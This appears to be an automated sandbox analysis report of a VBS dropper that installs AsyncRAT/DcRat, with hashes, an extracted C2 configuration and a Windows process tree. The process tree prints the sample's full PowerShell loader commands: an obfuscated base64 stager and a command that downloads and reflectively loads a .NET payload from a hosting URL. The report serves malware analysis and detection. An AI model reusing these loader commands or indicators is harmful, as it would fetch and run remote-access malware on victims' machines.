Analysis
-
max time kernel
147s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
26-07-2024 16:51
Static task
static1
Behavioral task
behavioral1
Sample
AlertasyNotificaciones.vbs
Resource
win7-20240708-en
General
-
Target
AlertasyNotificaciones.vbs
-
Size
2.6MB
-
MD5
f85469b805e7ccd3da7f69df07566f0d
-
SHA1
e9d9b0ddda2aa1e0345b1a88a491f0ee43bdcdc0
-
SHA256
ef5fa3f193d8205806fc945aea79ea2aeddb8845d1d9e81e22e57370db09c426
-
SHA512
4bc1d37bce587cd3a2ba02bd0341f7a718e5b8b974b769a46c12fbb1ca8df4424955436c3ae40b06cfaa3b9ad2085ed712ca77e1df5e0e34fffcf244b05b121f
-
SSDEEP
1536:bPPPPPPPPP9PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP5:/f
Malware Config
Extracted
https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe
Extracted
asyncrat
1.0.7
Default
envioagosto29.duckdns.org:2020
DcRatMutex_qwqdanchun
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 9 4680 powershell.exe 23 4680 powershell.exe 25 4680 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 2708 powershell.exe 4680 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 21 bitbucket.org 23 bitbucket.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4680 set thread context of 4736 4680 powershell.exe 93 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2228 timeout.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2708 powershell.exe 2708 powershell.exe 4680 powershell.exe 4680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2708 powershell.exe Token: SeDebugPrivilege 4680 powershell.exe Token: SeDebugPrivilege 4736 RegSvcs.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4480 wrote to memory of 2708 4480 WScript.exe 84 PID 4480 wrote to memory of 2708 4480 WScript.exe 84 PID 2708 wrote to memory of 4680 2708 powershell.exe 86 PID 2708 wrote to memory of 4680 2708 powershell.exe 86 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4680 wrote to memory of 4736 4680 powershell.exe 93 PID 4736 wrote to memory of 4372 4736 RegSvcs.exe 99 PID 4736 wrote to memory of 4372 4736 RegSvcs.exe 99 PID 4736 wrote to memory of 4372 4736 RegSvcs.exe 99 PID 4372 wrote to memory of 2228 4372 cmd.exe 101 PID 4372 wrote to memory of 2228 4372 cmd.exe 101 PID 4372 wrote to memory of 2228 4372 cmd.exe 101
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bi▒GI▒bQBw▒G8▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GU▒Z▒Br▒GQ▒Yw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hg▒bwB3▒HE▒aQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒e▒Bv▒Hc▒cQBp▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒aQB2▒G4▒ZQ▒v▒HM▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒cwBh▒Gc▒cgBh▒GM▒cwBl▒GQ▒LwBj▒GQ▒cwBh▒GM▒Z▒▒v▒Gc▒cgBv▒C4▒d▒Bl▒Gs▒YwB1▒GI▒d▒Bp▒GI▒Lw▒v▒Do▒cwBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒Bl▒GQ▒awBk▒GM▒I▒▒s▒C▒▒JwBf▒F8▒XwBf▒F8▒XwBf▒F8▒ZgBn▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bi▒GI▒bQBw▒G8▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs');powershell -command $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbmpo = '0';$edkdc = 'C:\Users\Admin\AppData\Local\Temp\AlertasyNotificaciones.vbs';[Byte[]] $xowqi = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($xowqi).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.oivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $edkdc , '________fg_______________-------------', $bbmpo, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC5FF.tmp.bat""5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\SysWOW64\timeout.exetimeout 36⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2228
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
171B
MD514e1cb5383666353965c22610d67abba
SHA16b96a507980def93dbe29ed4c80915012d9c0f25
SHA256ad8fe15e23453e2da4009f5747f346a5e520f468ea9111efaf8625d102132b49
SHA5120c8ad9d431f94280d5184ae2d27ce54a036043238b952a8a001afb73ce25a9bceb3a5eaa64c7dd69f67129ed763c23532de0f7a2888066cf53d6fabfd27eb838